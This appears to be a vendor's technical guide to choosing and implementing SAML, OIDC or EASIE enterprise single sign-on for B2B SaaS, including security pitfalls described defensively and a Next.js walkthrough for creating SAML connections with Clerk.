| Attribute                          | SAML 2.0                                                          | OIDC 1.0                                                                             | EASIE (multi-tenant OIDC)                                                                                                                                                                                                                                                                                                                                            |
| ---------------------------------- | ----------------------------------------------------------------- | ------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Standard / ratified                | OASIS Standard, 2005                                              | OpenID Foundation final, 2014                                                        | Open spec maintained at easie.dev (Clerk-led, Nov 2024)                                                                                                                                                                                                                                                                                                              |
| Data format                        | Signed XML assertions                                             | JWT (ID Token) + JSON                                                                | JWT (ID Token) + JSON                                                                                                                                                                                                                                                                                                                                                |
| Metadata discovery                 | Static XML exchange + X.509 cert pinning                          | `.well-known/openid-configuration` + JWKS auto-rotation                              | `.well-known` + tenant `hd` claim                                                                                                                                                                                                                                                                                                                                    |
| Typical flows                      | SP-initiated, IdP-initiated                                       | Authorization Code + PKCE                                                            | Authorization Code + PKCE; hosted-domain matching                                                                                                                                                                                                                                                                                                                    |
| IdP-initiated SSO (corporate tile) | Yes (via `RelayState`)                                            | No native equivalent                                                                 | No (always SP-initiated)                                                                                                                                                                                                                                                                                                                                             |
| Deep-linking / post-login redirect | First-class via `RelayState`                                      | Approximated via `state` + provider-specific `target_link_uri`                       | Provider-specific                                                                                                                                                                                                                                                                                                                                                    |
| Service-to-service / M2M auth      | Not supported                                                     | OAuth 2.0 client credentials                                                         | Not in scope                                                                                                                                                                                                                                                                                                                                                         |
| Tenant isolation model             | Single-tenant per connection                                      | Single-tenant per connection                                                         | Multi-tenant (one connection, many customer tenants)                                                                                                                                                                                                                                                                                                                 |
| Mobile / SPA / CLI fit             | Poor (XML, browser POST)                                          | Strong (PKCE)                                                                        | Strong (PKCE)                                                                                                                                                                                                                                                                                                                                                        |
| Auto-deprovisioning                | Requires SCIM (separate protocol)                                 | Built-in via token revocation                                                        | Built-in via IdP polling                                                                                                                                                                                                                                                                                                                                             |
| Enterprise IdP coverage            | \~100% workforce IdPs                                             | \~95% (Okta, Entra, Ping, JumpCloud, Google)                                         | Google Workspace + Microsoft Entra only                                                                                                                                                                                                                                                                                                                              |
| 2025–2026 critical CVEs (Node.js)  | 5+ (SAMLStorm, ruby-saml, samlify, node-saml ×2)                  | Far fewer; OIDC advisories caught pre-exploitation                                   | Inherits OIDC CVE profile                                                                                                                                                                                                                                                                                                                                            |
| NIST SP 800-63-4 FAL fit           | Deployable at FAL1 / FAL2 / FAL3 with the required protections    | Deployable at FAL1 / FAL2 / FAL3 (NIST treats assertion formats as protocol-neutral) | Protocol-neutral per NIST; in practice, FAL2's pre-established per-RP trust and injection-protected assertions — and FAL3's holder-of-key binding — are harder to satisfy with a shared multi-tenant IdP than with a dedicated single-tenant SAML deployment (this is analytical inference about tenancy models, not a tenancy-specific statement in 800-63C itself) |
| FedRAMP / federal acceptance       | Supported (Login.gov integrates both)                             | Supported                                                                            | Customers requiring per-tenant cryptographic isolation should use SAML                                                                                                                                                                                                                                                                                               |
| Typical procurement RFP language   | "SAML 2.0 SSO" named explicitly in most enterprise workforce RFPs | Rarely required by name                                                              | Not referenced in RFPs                                                                                                                                                                                                                                                                                                                                               |
| Developer ergonomics               | XML signatures, manual trust establishment                        | JSON, standard discovery endpoints                                                   | Zero-config; verify email domain only                                                                                                                                                                                                                                                                                                                                |
| Primary B2B use case               | Workforce SSO — "Okta required" RFP                               | Modern IdPs, mobile, custom OIDC tenants                                             | Fastest path to "any Google Workspace customer signs in"                                                                                                                                                                                                                                                                                                             |

> \[!IMPORTANT]
> NIST SP 800-63C (final, July 31, 2025) treats SAML and OIDC assertion formats as protocol-neutral — the FAL level you qualify for is determined by the assertion protections (audience restriction, injection protection, encrypted assertions, and — at FAL3 — holder-of-key binding), not by the format. The long-running industry folklore that "SAML is more secure for compliance" is not reflected in current NIST guidance. Procurement templates still often name SAML explicitly, but the cryptographic bar is set by the FAL trust-model requirements, not by the choice between XML and JSON.

#### Where OAuth knowledge translates (and where it doesn't)

The mental model you already have for OAuth maps pretty cleanly onto SAML.

| OAuth / OIDC concept               | SAML equivalent                                                                  |
| ---------------------------------- | -------------------------------------------------------------------------------- |
| Authorization Code flow            | SP-initiated SAML flow                                                           |
| Redirect URI                       | [Assertion Consumer Service (ACS) URL](/glossary#assertion-consumer-service-acs) |
| Client ID                          | Entity ID                                                                        |
| `state` parameter                  | `RelayState`                                                                     |
| ID Token (JWT)                     | SAML assertion (signed XML)                                                      |
| `.well-known/openid-configuration` | IdP metadata XML document                                                        |
| JWKS rotation                      | X.509 certificate rotation (manual)                                              |

Where it breaks down: SAML signatures are XML signatures (XML-DSIG), not JWT signatures — the algorithms and wire formats are different and the class of signature-wrapping vulnerabilities (XSW) is entirely SAML-specific. There is no PKCE in SAML because the browser POST binding that delivers the assertion is not subject to the same code-injection attack surface as OAuth's redirect-based flows. SAML supports an IdP-initiated flow (the IdP starts the exchange and POSTs an unsolicited assertion to your ACS) that has no OAuth analogue; treat it as a distinct attack surface. And finally, Single Logout exists in both protocols and is equally hard to get right in both — most production deployments simply don't implement it.

#### Why SAML still dominates enterprise IT

Legacy installed base plus IT procurement familiarity. Okta holds roughly 41% of the tracked standalone IAM market on [6sense's public tech-graph dashboard](https://6sense.com/tech/identity-access-management/okta-market-share), and Microsoft disclosed more than 610 million Entra ID monthly active users on its [FY2023 Q4 earnings call (July 25, 2023)](https://www.microsoft.com/en-us/Investor/earnings/FY-2023-Q4/press-release-webcast) ([secondary coverage](https://www.bigtechwire.com/2023/07/26/microsoft-entra-id-maus-linkedin-members/)). Both IdPs support SAML and OIDC first-class. New enterprise IT apps increasingly ship OIDC; inherited apps stay on SAML. If your buyer has a ten-year-old IdP deployment with SAML parsers plugged into Splunk, don't fight the procurement language — ship SAML.

### When to choose SAML vs OIDC for your B2B SaaS

**The procurement reality: most enterprise workforce RFPs still name SAML by protocol.** SoftwareFinder's 2025 SaaS Security Report finds 68% of enterprise RFPs require MFA plus SSO in base plans (not premium add-ons) and 43% of buyers have disqualified vendors for failing to provide verifiable credentials. Okta's public market position and Microsoft's Entra ID scale — discussed below — mean that when your customer IdP is Okta, Entra ID, Ping, JumpCloud, OneLogin, or ADFS, your customer's IT admins will expect SAML. If you ship one protocol first, ship SAML.

**Definitively choose SAML when** — any one of the following is sufficient:

- The customer's procurement or security questionnaire names "SAML 2.0 SSO" explicitly. This is near-universal in enterprise RFPs for workforce identity.
- The customer's IdP is Okta Workforce, Ping, ADFS, JumpCloud, or OneLogin. ADFS is OIDC-incapable in most deployed configurations — treat an ADFS customer as SAML-only.
- The customer requires IdP-initiated SSO from a corporate tile — Okta dashboard, Microsoft MyApps, Google Cloud Identity portal. Microsoft Entra does not expose `RelayState` for OIDC connections, and Okta OIDC apps do not populate the corporate tile launcher the way SAML apps do.
- The customer's SIEM, log shipper, or audit pipeline only parses SAML assertions. Mature enterprises have years of investment in Splunk SAML parsers and custom XML IOC rules; switching them to OIDC silently breaks their audit trail.
- The customer requires deep-linking via `RelayState` — post-login redirect to a specific intranet URL is a first-class SAML feature and brittle-to-nonexistent in OIDC.
- You're selling into US federal or defense (FedRAMP), healthcare (HIPAA), financial services, or any procurement template that pre-names SAML. NIST SP 800-63C (final, July 31, 2025) treats assertion formats as equivalent in terms of Federation Assurance Level protections — but procurement language isn't something you should fight on day one.

**Definitively choose OIDC (or EASIE) when** — any one is sufficient:

- The customer's IdP is Google Workspace or Microsoft Entra and tenant isolation is not a hard requirement → **EASIE**. One connection in your dashboard handles every Google and Microsoft customer tenant.
- You ship native mobile, SPA, or CLI clients — Authorization Code + PKCE is the native flow; SAML's browser-POST round trip is a poor fit.
- You're authenticating service-to-service or machine-to-machine workloads. Okta's developer guidance is explicit: "Okta does not support service-to-service authentication scenarios with SAML." Use OAuth 2.0 client credentials.
- You want `.well-known` autodiscovery plus JWKS rotation instead of emailed X.509 certs that silently rotate over weekends (Scalekit's #1 cited cause of production SSO outages).
- The customer is a modern SMB on a developer-friendly OIDC-only IdP — Authentik, Keycloak, custom OIDC.
- Your product is API-first and every downstream service expects a JWT access token. SAML's XML assertion is a dead end for API authorization.
- Auto-deprovisioning matters and you can't ship SCIM yet. EASIE polls the IdP for membership, so removing a user from the Google or Microsoft tenant deprovisions them in your app without a separate protocol.

**EASIE has a real architectural trade-off.** Per Clerk's enterprise-connections docs: *"The primary security difference between EASIE SSO and SAML SSO is that EASIE depends on a multi-tenant identity provider, while SAML depends on a single-tenant identity provider."* Multi-tenant means one Google or Microsoft connection trusts every customer tenant — domain-claim verification (via Google's `hd` and Microsoft's `xms_edov` claims) is the boundary. NIST SP 800-63C applies the same FAL framework regardless of tenancy model, but FAL2 requires pre-established, per-RP trust agreements and injection-protected assertions, and FAL3 requires holder-of-key (or bound-authenticator) binding on top of that. Those requirements are straightforwardly satisfied by a dedicated single-tenant SAML deployment and harder to satisfy with a shared multi-tenant IdP like a Google-Workspace-wide EASIE connection — so customers who require per-tenant cryptographic isolation (financial-services audits, FedRAMP Moderate/High with dedicated signing keys, "no shared trust roots") should use SAML. This is analytical inference about tenancy and FAL, not a tenancy-specific statement in 800-63C.

**The decision tree, in order:**

1. Does the buyer's RFP literally say "SAML 2.0," or name an IdP whose admins only speak SAML (Okta Workforce, Ping, ADFS, JumpCloud, OneLogin)? → **SAML.**
2. Does the customer require IdP-initiated SSO from a corporate tile (Okta dashboard, Microsoft MyApps, Google Cloud Identity portal)? → **SAML.**
3. Selling into US federal, defense, healthcare, financial services, or any environment requiring NIST 800-63-4 FAL2 or FAL3? → **SAML.**
4. Is the buyer's IdP exclusively Google Workspace or Microsoft Entra **and** tenant isolation is not a hard requirement? → **EASIE.**
5. Are you authenticating native mobile, SPA, CLI, or service-to-service workloads? → **OIDC.**
6. None of the above? → **SAML by default**, because that's what most enterprise workforce RFPs name.

**Why most mature B2B SaaS supports both.** Workforce SSO is SAML-first; SMB and developer tenants prefer OIDC. Clerk's `enterprise_sso` strategy abstracts the protocol choice behind a single API — the app code is identical regardless of whether the connection underneath is SAML, OIDC, or EASIE. Plan for supporting both once you move past the first enterprise deal.

> \[!NOTE]
> The OpenID Foundation is publishing **OIDC Federation 1.0** as a final spec in Q1–Q2 2026 (final review closed February 2026). This is OIDC's answer to SAML's federation model, but real-world IdP adoption is years out. Don't time your 2026 roadmap to it.

### How SAML works in practice

#### The Service Provider (SP) and Identity Provider (IdP)

Your SaaS is the [Service Provider](/glossary#service-provider) (SP). The customer's Okta, Entra ID, or Google Workspace tenant is the [Identity Provider](/glossary#identity-provider-sso-idp-sso) (IdP). The SP generates a metadata document announcing its Entity ID and ACS URL. The IdP generates a metadata document announcing its SSO URL and signing certificate. Both sides exchange metadata once, and from then on the protocol runs as HTTP POSTs carrying signed XML.

#### SAML assertions and the Assertion Consumer Service (ACS)

A SAML assertion is a signed XML document containing a `NameID` (the user's stable identifier), `AttributeStatement` elements (email, first name, last name, and any custom claims), and `Conditions` elements that bound the time window and intended audience. The signature uses XML-DSIG, not JWT — the algorithms and canonicalization rules are different, and every CVE you'll read about in this article exploits a difference between what the signature covers and what the rest of your code reads.

The ACS is an HTTP endpoint on your SP that accepts POST requests containing base64-encoded SAML responses. A managed auth service owns that endpoint for you. A DIY implementation has to build it.

#### SP-initiated vs IdP-initiated flows

In an **SP-initiated** flow, the user lands on your app first, enters an email, you route them to their customer IdP, the IdP authenticates them, and the IdP POSTs a signed assertion back to your ACS. This is the safer default because your app controls the flow — there's a login CSRF cookie, a `RelayState` round-trip, and a request ID (`InResponseTo`) to match the response against.

In an **IdP-initiated** flow, the user clicks a tile in the Okta dashboard or Microsoft MyApps, and the IdP POSTs an unsolicited assertion to your ACS without any prior request from you. This has no login CSRF protection, no `InResponseTo` to validate, and is the vector behind several of the 2025–2026 CVEs discussed later. Scott Brady, IdentityServer, and Teleport all recommend disabling IdP-initiated unless a specific customer use case requires it. NIST SP 800-63C (final, July 31, 2025) requires RP-initiated federation transactions at FAL2 and FAL3 (a `SHALL`), which effectively rules out unsolicited IdP-initiated SSO at those assurance levels; at FAL1 the requirement is a `SHOULD`.

#### Metadata, certificates, and trust establishment

The IdP metadata XML declares the IdP's `EntityID`, its `SingleSignOnService` URL, and one or more X.509 signing certificates. Certificate key requirements: RSA 2048+ or ECC 256+, SHA-256 or stronger for signing. The tripwire is rotation: IdPs rotate signing certs on schedules you cannot control, typically with 14–30 days of notice, sometimes on a Friday afternoon with no notice at all. Scalekit's analysis of production SSO outages identifies certificate rotation mismatches as the single most common cause of production failures. Design for rotation from day one: accept a metadata URL (not a pasted certificate), cache it with a TTL, and support two active signing certificates during rotation windows.

### SCIM: the other half of enterprise identity

#### Automated provisioning and deprovisioning

SAML creates a user on first login via Just-in-Time (JIT) provisioning. [SCIM](/glossary#directory-sync) creates, updates, and — most importantly — **deletes** users proactively via a REST API. RFC 7643 defines the core schema; RFC 7644 defines the protocol. The IdP (Okta, Entra ID, Google Workspace) is the SCIM client; your SaaS is the SCIM service provider. When an employee is deactivated in the IdP's directory, a `PATCH /Users/{id}` with `active: false` fires to your SCIM endpoint within seconds.

#### When you need SCIM (and when you don't)

You need SCIM the moment a customer asks about deprovisioning. SAML alone leaves orphaned accounts when an employee is offboarded mid-session — the session cookie keeps working until it expires, and audit logs will show access events after the HR system says the employee left. Enterprise procurement increasingly mandates SCIM alongside SAML. HIPAA-aligned best practice is a 1-hour revocation SLA from IdP deactivation to session termination in your app.

You can defer SCIM for smaller customers. If your first enterprise customer has 15–50 seats, JIT-only is usually acceptable. Ask: "What's your deprovisioning SLA, and is SAML session-timeout acceptable for now?" If the answer is "24 hours is fine," you can ship JIT first and enable SCIM in the next sprint. Most enterprise customers will eventually want SCIM, though.

### Multi-tenancy: SSO is per-organization, not per-app

Every customer tenant has its own IdP connection. The idiom is per-organization, not per-app: your app has one deployment; each customer has their own organization in your data model and their own SAML connection inside that organization. The routing is typically email-domain-based Home Realm Discovery — when a user enters `alice@acme.com`, your app looks up which organization owns the `acme.com` domain and routes the sign-in flow to that organization's SAML connection.

In Clerk, the [Organization](/glossary#organizations) primitive is literally this model. In Auth0, it's called Organizations. In WorkOS, it's called Organizations too. The primitive is so universal across managed auth services that architecting without it is a tell that you're going to replatform later.

## Implementation options

You have three realistic paths.

### Option 1: build it yourself with open-source libraries

This is the "we'll ship it in a sprint" option that almost always turns into a 3–9 month timeline once admin UI, certificate-rotation handling, and the 2025–2026 CVE patch load are factored in. Here's why.

#### Common Node.js / TypeScript libraries (with CVE-safe minimum versions)

| Library                    | Minimum safe version (April 2026) | Notes                                                                                                                                          |
| -------------------------- | --------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- |
| `@node-saml/passport-saml` | ≥ 5.1.0                           | Passport.js strategy; \~423k weekly downloads                                                                                                  |
| `@node-saml/node-saml`     | ≥ 5.1.0                           | Framework-agnostic; \~564k weekly                                                                                                              |
| `samlify`                  | ≥ 2.10.0                          | TypeScript; \~488k weekly. 2.10.0 patches CVE-2025-47949 (CVSS 9.9 signature wrapping).                                                        |
| `xml-crypto`               | ≥ 6.0.1                           | Foundational XML signature layer; \~2.6M weekly. 6.0.1 fixes [SAMLStorm](https://workos.com/blog/samlstorm) (CVE-2025-29774 / CVE-2025-29775). |

Not recommended in 2026: Clever `saml2-js` (CoffeeScript, maintenance mode) and any `samlify` below 2.10.0.

Across all four libraries, the pin-to-minimum-version discipline is non-negotiable. Each of the five critical CVEs cited below was disclosed, exploited in limited scope, and patched within the last twelve months. Running a library three minor versions behind is not "production" — it's a pending incident.

#### Security pitfalls you must handle yourself

**XML Signature Wrapping (XSW) attacks** are the defining SAML vulnerability class. The original Somorovsky et al. paper "On Breaking SAML: Be Whoever You Want to Be" (USENIX Security, 2012) showed that 11 of 14 major SAML frameworks were exploitable at the time. [GitHub Security Lab's 2025 "Sign in as Anyone" research](https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/) (CVE-2025-25291 and CVE-2025-25292 in ruby-saml) demonstrated the class of bug is not solved thirteen years later — it just mutates. The attack: inject a forged assertion outside the signed element, rely on parser differentials so the signature validator sees the real (signed) node and the attribute extractor sees the forged (unsigned) node. Result: `alice@acme.com` signs in as `admin@target.com`.

**Signature and certificate validation.** Always schema-validate before signature-verify — CVE-2025-54369 and CVE-2025-54419 in `node-saml` exploit exactly this ordering mistake. Use absolute XPath, not relative XPath. Never extract attributes from the original document — only from signed and canonicalized content.

**Replay and clock-skew attacks.** Validate `InResponseTo` against the request ID you stored at flow initiation (it's disabled by default in `node-saml` — flag this during review). Enforce `NotBefore` and `NotOnOrAfter` with 1–5 minutes of clock-skew tolerance. If you run more than one SP instance, share an `InResponseTo` cache in Redis or similar so an assertion used against one instance can't be replayed against another.

**XML External Entity (XXE) injection.** Disable DTDs entirely. Cap payload size. The OWASP XXE Prevention Cheat Sheet has the rules; `xml-crypto` ≥ 6.0.1 and `@node-saml/node-saml` ≥ 5.1.0 default to safe parsing, but older or wrapping code can still be vulnerable.

**Parser differentials.** CVE-2025-25291 and CVE-2025-25292: one parser for signature validation, a different parser for attribute extraction, both present on the same request. The signature parser sees the signed node and approves; the attribute extractor sees a forged sibling node with a different email. Mitigation: one parser for both stages, reject malformed XML strictly, treat any disagreement as an error.

#### Ongoing maintenance burden

Libraries handle the protocol. Everything else is on you.

- **IdP metadata rotation** is the #1 cause of SSO outages. Build monitoring for certificate expiry at 60, 30, and 7 days. Support two active signing certificates during rotation windows.
- **Admin UI** is not optional. You need metadata URL or XML upload, entity ID and ACS URL display, attribute mapping configuration, verified-domain management, per-connection enable/disable, cert expiry dashboards, a test-login flow, structured redact-on-PII logs, and a fallback non-SSO admin path for when the IdP is down.
- **Support load** is non-trivial. First-time customer IT admins routinely paste the wrong field into the wrong form, copy the IdP cert into the SP cert slot, and then file a P1 saying "SSO is broken." You will become a part-time SAML support engineer.

**Cost estimate — [SSOJet's illustrative DIY SSO breakdown](https://ssojet.com/blog/the-hidden-150-000-cost-of-a-simple-sso-feature) (vendor analysis, not primary research):** $27,000 year-one engineering build + $10,000/year maintenance + $40,000 opportunity cost + $20,000 security and compliance reserve + $15,000 sales and support drag = approximately $112,000 for year one. Slipping timelines push it to $150,000+. Expected timeline when teams kick off: 1–3 months. Typical actual: 3–9 months once admin UI, certificate rotation, and CVE patching land.

**When DIY makes sense.** Regulated industries with on-premises-only identity infrastructure. Teams with existing identity specialists. Products with open-source philosophical commitments. For everyone else: buy. The math doesn't close on DIY unless the non-financial requirements are non-negotiable.

### Option 2: managed authentication services

There are roughly a dozen viable managed auth services for B2B SaaS in 2026. This article covers the three most procurement-friendly options at length and names the others briefly.

#### Clerk

B2B-first auth platform. SAML, OIDC, and EASIE multi-tenant OIDC as first-class primitives. The [Organizations](/glossary#organizations) primitive is built in. Prebuilt React components (`<OrganizationSwitcher />`, `<OrganizationProfile />`, `<SignIn />`). Dashboard-driven connection setup plus a unified `/enterprise_connections` Backend API (unified March 2026). Directory Sync (SCIM 2.0) went GA on April 16, 2026. Native Next.js 16 `proxy.ts` support via `@clerk/nextjs` v7.x. [Pricing](/pricing) after the February 2026 restructure: Pro $20/month annual ($25/month monthly), 1 enterprise connection included, $75/month per additional connection (scaling down to $15/month at 500+ connections). 50,000 free monthly active users.

#### Auth0

Okta-owned general-purpose CIAM. SAML plus OIDC enterprise connections. Organizations are on all plans. Next.js 16 is supported via `@auth0/nextjs-auth0` v4.18.0 which honors `proxy.ts`. [Pricing](https://auth0.com/pricing) (post the [February 12, 2026 B2B plan upgrade](https://auth0.com/blog/auth0-b2b-plans-upgraded/)): 25,000 free MAU with 1 Enterprise Connection, Self-Service SSO, and Inbound SCIM included on the Free tier; B2B Essentials $150/month includes 3 SSO connections; B2B Professional $800/month includes 5 SSO connections; $100/month per additional connection. Self-Service SSO on Auth0 is a ticket-URL-driven guided assistant the customer admin completes in a one-time flow, not a standing admin portal the way WorkOS Admin Portal works.

#### WorkOS

SSO-first "drop on top of existing auth." The Admin Portal — a hosted, white-labeled customer-facing UI for self-serve SSO configuration — is the differentiator. [SSO is $125 per connection per month](https://workos.com/pricing) (tiered down with scale); Directory Sync is $125 per connection per month separately. AuthKit, WorkOS's newer full-auth product, is free to 1M MAU. Next.js 16 support via `@workos-inc/authkit-nextjs` v3 using `authkitProxy`.

#### Also consider (one line each)

- **Stytch** — B2B; acquired by Twilio in November 2025.
- **Descope** — Drag-and-drop Flows; self-serve SCIM portal; good for B2C-adjacent B2B.
- **PropelAuth** — B2B-only; unique Bring-Your-Own-Auth sidecar pattern.
- **Frontegg** — Mature admin portal; more established mid-market focus.
- **Ory Polis** (formerly BoxyHQ SAML Jackson) — Open-source SAML bridge; Apache 2.0.
- **Scalekit** — Recently pivoting toward AI-agent-first authentication.
- **SuperTokens / FusionAuth** — Self-hostable options; more engineering effort to operate.

#### Not considered (with reason)

- **Okta / OneLogin / JumpCloud / Entra ID** — these are *IdPs*, not SPs. Your SaaS consumes them; you don't replace them with them.
- **Kinde** — no SCIM GA at time of writing.
- **SSOJet / Userfront** — too small for most enterprise procurement checks.

### How to choose: a decision framework

#### Speed to production

| Option                             | Time to first production SAML login           |
| ---------------------------------- | --------------------------------------------- |
| Clerk (Dashboard + IdP round-trip) | 1–3 hours with the API + existing tests       |
| WorkOS (Admin Portal)              | "Days" per marketing; 1 day realistic         |
| Auth0 (with Actions customization) | 1–2 weeks                                     |
| DIY with libraries                 | 4–8 weeks MVP; 3–9 months production-hardened |

#### Multi-tenant complexity

All three managed services support per-organization SSO connections. Clerk's Organizations primitive is the most ergonomic for teams that haven't built an org model yet — `<OrganizationSwitcher />` and `<OrganizationProfile />` are drop-in React components. Auth0 Organizations and WorkOS Organizations are more API-first; you'll spend more time wiring UI.

#### Pricing model and the "SSO tax" debate

Clerk no longer charges a per-connection *premium* over base subscription after the November 2024 EASIE launch and February 2026 restructure; the $75/month per-additional-connection price is straightforward. WorkOS is transparent at $125/month per connection. Auth0 has the steepest tier cliff in the market: 3 → 5 SSO connections forces a move from Essentials ($150/month) to Professional ($800/month) — a 5.3× price jump for two additional connections. Procurement readers will flag Auth0 pricing explicitly.

#### Developer experience and existing stack fit

Clerk leads for Next.js App Router plus React plus B2B. The `@clerk/nextjs` v7 package is Next.js 16 `proxy.ts`-native and ships prebuilt components for every SSO surface. Auth0 leads for broadest language and framework coverage — if your stack is Ruby, PHP, Go, Java, or .NET, Auth0's SDK catalog is deepest. WorkOS leads for "we already have auth, we just need SSO on top" — `@workos-inc/authkit-nextjs` and the Admin Portal are designed to bolt onto an existing user model rather than replace it.

## Implementing SAML SSO with Clerk

This is the meaty section. It's a complete walkthrough on Next.js 16 with `@clerk/nextjs` v7.x, not a set of snippets — every step ends with a verification hook so you can confirm you're where you're supposed to be before moving on.

### Prerequisites and architecture overview

Before you start, have:

- [ ] A Next.js 16 app using the App Router, React 19, `@clerk/nextjs` v7.x, and Node 22+.
- [ ] A customer to test against — for our walkthrough, we'll call them "Acme Corp" and assume they use Okta. If you don't have a customer yet, spin up a free Okta Developer Integrator Plan at `developer.okta.com`, or create a free Microsoft Entra tenant.
- [ ] A Clerk application with Organizations enabled. Organizations are not on by default — you flip the toggle in **Configure** → **Organizations** once. If your development instance is new, Clerk also prompts you to enable Organizations the first time you use an organization component or hook (the in-dashboard prompt shipped November 24, 2025), which is typically the fastest way to discover the toggle.

The request flow at a high level:

```
[User in Next.js app]
  → (identifier-first sign-in, "alice@acme.com")
  → [Clerk Frontend API routes to Acme's IdP based on verified domain]
  → [Okta authenticates alice@acme.com]
  → [Okta POSTs signed SAML assertion to Clerk's ACS]
  → [Clerk Backend verifies signature, creates or updates User, mints session]
  → [User lands on /dashboard with orgId set and orgRole populated]
```

You don't build most of the middle. You configure metadata on both sides, wire up the Next.js app, and let Clerk's Frontend + Backend APIs handle the protocol.

### Step 1: Enable Enterprise SSO on your Clerk application

In the Clerk Dashboard: **Authentication** → **SSO connections** → **Add connection** → **For specific domains or organizations**. Pick whether you're configuring at the instance level (all organizations share the connection, rare) or at the organization level (per-customer, the default for B2B).

Pricing to know: Development instances (`pk_test_*` / `sk_test_*` keys) include all paid functionality for free — you can stage enterprise SSO for every customer before production cutover without paying per connection. Production instances on Pro include 1 enterprise connection; additional connections are $75/month each, scaling down to $60 at 16–100, $30 at 101–500, and $15/month at 500+.

**An alternative first step: EASIE.** If your customer uses Google Workspace or Microsoft Entra ID as their IdP, EASIE lets you skip SAML metadata exchange entirely. One EASIE connection in your Clerk dashboard trusts every Google and Microsoft tenant and uses domain verification as the tenant boundary. It's multi-tenant OIDC under the hood; setup is roughly one form submission. EASIE is the "0–30-day-to-first-enterprise-deal" option; full SAML is the "we're committed to enterprise long-term" option. Many teams ship EASIE first and add per-customer SAML connections as contracts demand it.

> \[!TIP]
> A customer's first question when you propose EASIE will usually be: "Does this mean you trust every Google tenant?" The honest answer is yes — with domain verification as the boundary. If they require per-tenant cryptographic isolation (FAL2+, financial-services audits, "no shared trust roots"), go straight to SAML.

### Step 2: Model customers as Organizations

Enterprise SSO in Clerk is organization-scoped. That means the [`orgId`](/glossary#organizations) is part of the session token, role assignment derives from organization membership, and SAML connections attach to a single organization (or a set, if you're using Clerk's multi-domain feature from June 2025). Before you can create a SAML connection, the customer needs to exist as an Organization.

#### Mapping tenants to Clerk Organizations

If your app already has a multi-tenant data model (workspaces, teams, accounts), map each tenant to a Clerk Organization. Use `<OrganizationSwitcher hidePersonal={true} />` in the app shell to let users move between organizations, and `<CreateOrganization />` on onboarding to let the first user from a new tenant create the Organization record.

On the server, the Organization context is available via `await auth()`:

```ts
// app/dashboard/page.tsx
import { auth } from '@clerk/nextjs/server'
import NoOrganizationCTA from './_components/no-org-cta'

export default async function Dashboard() {
  const { userId, orgId, orgRole } = await auth()

  if (!orgId) {
    return <NoOrganizationCTA />
  }

  // Your org-scoped data fetch goes here.
  // orgId is your multi-tenant foreign key.
  return <DashboardContent orgId={orgId} orgRole={orgRole} />
}
```

On the client, `useOrganization()` and `useOrganizationList()` give you the same data reactively. The Organization primitive is the anchor for everything that follows — plan your database schema so `organizationId` is a foreign key on every tenant-owned resource.

#### Verified domains and automatic organization routing

Clerk's Verified Domains feature is how users end up in the right Organization without manual invitation. An Organization admin verifies `acme.com` once (via an email OTP sent to `admin@acme.com` or a DNS TXT record). After that, any user signing up with an `@acme.com` email is routed to the Acme Corp organization automatically.

Three enrollment modes, configured per organization:

- `manual_invitation` — default; admins must explicitly invite users.
- `automatic_invitation` — users from verified domains are added as members on first sign-in without needing to be invited.
- `automatic_suggestion` — users from verified domains see a "Join Acme Corp" prompt on first sign-in but aren't added automatically.

For B2B SaaS, `automatic_invitation` combined with SAML JIT provisioning is the most common pattern — the first time an Acme employee signs in via SAML, they land in the Acme organization with the default role applied.

Default limits to be aware of: 5 members per organization by default (configurable per plan), 100 organizations per user create-limit. The `maxAllowedMemberships` property on the Organization object controls the member cap (`0` = unlimited). One important constraint: the same domain cannot be claimed by more than one organization at a time, and domain ownership cannot overlap between an Enterprise SSO connection and a plain verified-domain enrollment.

### Step 3: Create a SAML connection

#### Generating your Service Provider metadata

In the Clerk Dashboard, inside the Organization you're configuring, go to **SSO connections** → **Add SAML**. Clerk auto-generates the ACS URL and the Entity ID per connection. Copy both — you'll paste them into the IdP configuration in Step 4.

#### Supported IdPs

Clerk supports Okta, Microsoft Entra ID (formerly Azure AD), Google Workspace, and generic SAML (`saml_custom`). The generic option covers OneLogin, PingFederate, JumpCloud, ADFS, and anything else that speaks SAML 2.0. For Okta and Entra ID, Clerk has guided walkthroughs that surface IdP-specific quirks inline.

#### Backend API: unified `/enterprise_connections` (March 2026)

If you're building the admin-facing form for your own customer IT admins, you'll want to create SAML connections programmatically. Clerk unified the `/saml_connections` and `/oidc_connections` endpoints into a single `/enterprise_connections` endpoint on March 9, 2026. The new shape groups protocol-specific parameters under a nested `saml: {}` or `oidc: {}` object, and the `domain` (singular string) became `domains: string[]` (plural array).

> \[!IMPORTANT]
> `clerkClient` in `@clerk/nextjs` v7 / Core 3 is an **async factory**. You must await it. Direct property access like `clerkClient.enterpriseConnections.createEnterpriseConnection(...)` will fail at runtime with `TypeError: clerkClient.enterpriseConnections is undefined`. Always invoke the factory: `(await clerkClient()).enterpriseConnections...`. Teams migrating from `@clerk/nextjs` v5 get bitten by this because TypeScript may not flag the legacy shape.

Here's a complete server route that creates a SAML connection on behalf of an Organization admin:

```ts
// app/api/sso/create/route.ts
import { auth, clerkClient } from '@clerk/nextjs/server'
import { NextResponse } from 'next/server'

export async function POST(req: Request) {
  const { userId, orgId, has } = await auth()

  if (!userId || !orgId) {
    return NextResponse.json({ error: 'unauthenticated' }, { status: 401 })
  }

  if (!has({ role: 'org:admin' })) {
    return NextResponse.json({ error: 'forbidden' }, { status: 403 })
  }

  const { name, domain, idpMetadataUrl } = await req.json()

  const client = await clerkClient()
  const connection = await client.enterpriseConnections.createEnterpriseConnection({
    name,
    domains: [domain],
    organizationId: orgId,
    active: true,
    syncUserAttributes: true,
    saml: {
      idpMetadataUrl,
      allowIdpInitiated: false,
      allowSubdomains: false,
      forceAuthn: false,
      attributeMapping: {
        emailAddress: 'user.email',
        firstName: 'user.firstName',
        lastName: 'user.lastName',
      },
    },
  })

  return NextResponse.json(connection)
}
```

Note what's intentionally set here. `allowIdpInitiated: false` disables unsolicited IdP-initiated assertions by default — this matches Section 9 (Common Pitfalls) and what NIST SP 800-63C (final, July 31, 2025) requires for RP-initiated federation at FAL2 and FAL3. `allowSubdomains: false` prevents tenant-crossover if a customer adds a subsidiary with a different subdomain later. `forceAuthn: false` is the sensible default; setting it to `true` forces re-authentication on every sign-in, which is useful for high-security environments but hostile for typical workforce SSO.

